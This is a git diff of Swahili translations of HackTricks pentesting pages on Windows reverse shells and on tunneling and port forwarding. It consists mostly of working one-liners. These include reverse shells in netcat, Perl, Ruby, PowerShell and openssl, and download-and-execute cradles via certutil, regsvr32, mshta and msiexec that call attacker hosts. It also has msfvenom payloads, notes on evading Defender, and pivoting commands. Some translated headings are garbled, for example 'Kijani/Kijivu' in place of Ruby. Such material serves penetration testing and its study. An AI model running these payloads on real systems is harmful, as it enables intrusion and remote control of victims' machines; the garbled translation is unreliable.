* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,4 +1,4 @@
# Shells - Windows
# Mabua - Windows
<details>
@ -8,7 +8,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat ulioumovu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat uliounganifu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -52,14 +52,14 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
```
## Perl
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows. Perl inatoa maktaba yenye nguvu ya kazi ambazo zinaweza kutumiwa kwa ufanisi kushughulikia mifumo ya faili, sockets, na taratibu za mfumo. Matumizi ya Perl yanaweza kusaidia katika kujenga shellcode yenye nguvu na yenye ufanisi kwa mifumo ya Windows.
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows.
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
## Kijani
## Kijivu
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -87,6 +87,8 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## Powershell
Powershell ni lugha ya skripti iliyoundwa na Microsoft kwa madhumuni ya kufanya usimamizi wa mfumo na automatiseringi. Inaweza kutumika kwa ufanisi katika uchunguzi wa dijiti na upenyezaji wa mtandao.
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
@ -98,8 +100,8 @@ Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali popote nilipoweza ku
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Mchakato unafanya wito wa mtandao: **svchost.exe**\
Payload iliyoandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV**
Mchakato unaoendesha wito wa mtandao: **svchost.exe**\
Payload iliyoandikwa kwenye diski: **Hifadhi ya muda ya mteja wa WebDAV**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
@ -123,7 +125,7 @@ mshta \\webdavserver\folder\payload.hta
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Unaweza kupakua & kutekeleza kwa urahisi sana zomu ya Koadic kwa kutumia stager hta**
**Unaweza kupakua na kutekeleza kwa urahisi sana kizimbe cha Koadic kwa kutumia stager hta**
#### mfano wa hta
@ -262,13 +264,13 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Unaweza kupakua na kutekeleza kwa urahisi sana kizimbe cha Koadic kwa kutumia stager regsvr**
**Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager regsvr**
## Certutil
* [Kutoka hapa](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
Pakua B64dll, itafsiri na kuitekeleza.
Pakua B64dll, itafsiri na kutekeleza.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
@ -312,7 +314,7 @@ Mshambuliaji
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Mnajisi:
Mfano:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
@ -389,29 +391,29 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
Katika folda ya **Mabakuli**, kuna mabakuli mengi tofauti. Kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
Katika folda ya **Shells**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Anza kutumikia script kwenye seva ya wavuti na uitekeleze kwenye mwisho wa muathiriwa:
Anza kuhudumia script kwenye seva ya wavuti na kuitekeleza kwenye mwisho wa muathiriwa:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender haiigundui kama msimbo mbaya (bado, 3/04/2019).
Defender haiichunguzi kama nambari yenye nia mbaya (bado, 3/04/2019).
**TODO: Angalia mabaka mengine ya nishang**
**TODO: Angalia mabakuli mengine ya nishang**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Pakua, anzisha mtandao wa wavuti, anzisha msikilizaji, na tekeleza kwenye mwisho wa mhanga:
Pakua, anzisha seva ya wavuti, anzisha msikilizaji, na itekeleze kwenye mwisho wa mhanga:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender haiigundui kama nambari inayoweza kudhuru (bado, 3/04/2019).
Defender haidhinishi kuwa ni msimbo mbaya (bado, 3/04/2019).
**Chaguo zingine zinazotolewa na powercat:**
**Chaguo nyingine zinazotolewa na powercat:**
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```
@ -438,13 +440,13 @@ Tengeneza mizizi ya powershell, iihifadhi kwenye faili na uipakue na kuitekeleza
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Imepatikana kama msimbo mbaya**
**Imeonekana kama msimbo mbaya**
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha kichawi
Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
@ -452,17 +454,17 @@ Anza msfconsole na rasilimali iliyoundwa:
```
msfconsole -r unicorn.rc
```
Anza server ya wavuti ikitoa faili ya _powershell\_attack.txt_ na tekeleza kwa muathiriwa:
Anza mtandao wa seva unayotoa faili ya _powershell\_attack.txt_ na tekeleza kwenye mhanga:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Imedetektiwa kama msimbo wa hatari**
**Imedetektiwa kama msimbo mbaya**
## Zaidi
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console na moduli za PS zenye mashambulizi zilizopakiwa mapema (zilizofichwa)\
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console na moduli za PS zenye uchokozi zilizopakiwa mapema (zilizofichwa)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zenye mashambulizi na uchunguzi wa proksi (IEX)
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zenye uchokozi na uchunguzi wa proksi (IEX)
## Marejeo
@ -474,9 +476,9 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zen
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
**Kikundi cha Usalama cha Try Hard**
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -1,20 +1,20 @@
# Kuchimba na Kusonga Mbele kwa Port
# Kuchimba na Kusogeza Bandari
<details>
<summary><strong>Jifunze kuhusu kuchimba AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuchimba kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@
## Sawa ya Nmap
{% hint style="warning" %}
**ICMP** na uchunguzi wa **SYN** hauwezi kuchimbwa kupitia proxies za socks, hivyo tunapaswa **kulemaza ugunduzi wa ping** (`-Pn`) na kutaja **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi.
Skan za **ICMP** na **SYN** haziwezi kuchimbwa kupitia proksi za socks, hivyo lazima **zimezwe ugunduzi wa ping** (`-Pn`) na kutaja **skani za TCP** (`-sT`) ili hii ifanye kazi.
{% endhint %}
## **Bash**
@ -46,13 +46,13 @@ evil-winrm -u username -i Jump
```
## **SSH**
Unganisho la picha la SSH (X)
Unganishaji wa picha wa SSH (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Bandari ya Mitaani kwenda Bandari
### Port2Port ya Ndani
Fungua Bandari Mpya kwenye Seva ya SSH --> Bandari Nyingine
Fungua Port Mpya kwenye Seva ya SSH --> Port Nyingine
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -70,13 +70,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Port ya Mwenyeji --> Mwenyeji Aliyodhulumiwa (SSH) --> Mahali Popote
Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Kusonga Porti Nyuma
### Kusonga Mbele ya Port
Hii ni muhimu kupata mabakuli ya nyuma kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
Hii ni muhimu kupata mabakuli ya kurudi kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config inapaswa kuruhusu kuingia kama root:\
Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config lazima iruhusu kuingia kama root:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -97,7 +97,7 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Washa uhamishaji upande wa Server
Wezesha uhamishaji upande wa Server
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
@ -108,13 +108,13 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Unaweza **kutumia kivukio** kupitia **ssh** trafiki yote kwenda kwa **mtandao wa sehemu** kupitia mwenyeji.\
Kwa mfano, kusafirisha trafiki yote inayokwenda kwa 10.10.10.0/24
Unaweza **kutumia kivukio** kupitia **ssh** kusafirisha **trafiki yote** kwenda kwenye **mtandao wa sehemu** kupitia mwenyeji.\
Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
unganishe kwa ufunguo binafsi
Hakikisha kuwa umeshaunganishwa kwa kutumia ufunguo wa kibinafsi.
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
@ -123,14 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Port ya ndani --> Mwenyeji aliyeathiriwa (kikao cha aktive) --> Sanduku la tatu: Port
Port ya ndani --> Mwenyeji aliyeathiriwa (kikao cha aktive) --> Sanduku la tatu:Port
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha trafiki ya mtandao kati ya seva na mteja, ikiruhusu mteja kupitisha trafiki yake kupitia seva ya proxy.
SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha data kupitia firewall ya mtandao. Inaweza kutumika kwa kuficha shughuli za mtumiaji na kufikia rasilimali zilizozuiliwa.
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -155,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Fungua kituo cha kusikiliza katika timuserver ikisikiliza kwenye interface zote ambazo zinaweza kutumika kusafirisha trafiki kupitia kwa beacon.
Fungua kituo cha kusikiliza katika timuserver ikisikiliza kwenye viunganishi vyote vinavyoweza kutumika kwa **kupeleka trafiki kupitia kipeperushi**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -166,16 +166,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa taa**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwenye mwenyeji:bandari uliyotajwa
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa taa**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
### rPort2Port ya ndani
### rPort2Port local
{% hint style="warning" %}
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji: bandari iliyotajwa
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -192,7 +192,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
## Chisel
Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
Unahitaji kutumia **toleo sawa kwa mteja na mtandao**.
Unahitaji kutumia **toleo sawa kwa mteja na server**
### socks
```bash
@ -212,7 +212,7 @@ Unahitaji kutumia **toleo sawa kwa mteja na mtandao**.
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa muathiriwa.\
Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa mwathiriwa.\
Proksi ya socks4 inaundwa kwenye 127.0.0.1:1080
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
@ -221,7 +221,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Pindua kupitia **proksi ya NTLM**
Pitisha kupitia **proksi ya NTLM**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -263,7 +263,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Unaweza kuzunguka **proxy isiyo na uthibitishaji** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mhanga:
Unaweza kuzunguka **proxy isiyo na uthibitisho** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mwathiriwa:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -287,9 +287,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Kijia cha Mbali hadi Kijia
### Kijia cha Port2Port Kijia
unganisha bandari ya SSH ya eneo (22) hadi bandari ya 443 ya mwenyeji wa mshambuliaji
unganisha bandari ya SSH ya eneo (22) kwa bandari ya 443 ya mwenyeji wa mshambuliaji
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -299,7 +299,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
Ni kama toleo la PuTTY la kidhibiti (chaguo zake ni sawa sana na mteja wa ssh).
Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa kiasi kidogo tu kwa bandari kwenye mashine yetu:
Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -308,7 +308,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
### Port2Port
Unahitaji kuwa mtawala wa ndani (kwa bandari yoyote)
Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -323,7 +323,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Unahitaji kuwa na **upatikanaji wa RDP kwenye mfumo**.\
Pakua:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutunza pakiti kupitia uhusiano wa RDP**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutuma pakiti kupitia uhusiano wa RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Kwenye kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama hivi:
@ -331,7 +331,7 @@ Kwenye kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama hivi:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kutumia **`mstsc.exe`**, na tunapaswa kupokea **kitufe** kikisema kuwa **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**.
Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kitufe** kikisema kuwa **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**.
**Unge** kupitia **RDP** na kupakia & kutekeleza kwenye mashine ya muhanga `SocksOverRDP-Server.exe` binary:
```
@ -341,17 +341,17 @@ Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikili
```
netstat -antb | findstr 1080
```
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia bandari hiyo.**
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia trafiki kupitia bandari hiyo.**
## Kuwezesha Programu za Windows GUI Kupitia Proxi
## Proxify Windows GUI Apps
Unaweza kuwezesha programu za Windows GUI kupitia proxi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
Unaweza kufanya programu za Windows GUI zinavigate kupitia proxi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kuwezesha na uhusiano kwa IPs unazotaka kuwezesha.
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanya proxi na uhusiano kwa IPs unazotaka kufanya proxi.
## Kupuuza proxi ya NTLM
## NTLM proxy bypass
Zana iliyotajwa hapo awali: **Rpivot**\
Zana iliyotajwa awali: **Rpivot**\
**OpenVPN** pia inaweza kuipuuza, kwa kuweka chaguo hizi kwenye faili ya usanidi:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
@ -369,8 +369,8 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari 2222 ya mshambuliaji.\
Unaweza pia kutumia **meterpreter** inayounganisha kwa localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji.\
Unaweza pia kutumia **meterpreter** inayounganisha kwenye localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
## YARP
@ -388,7 +388,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
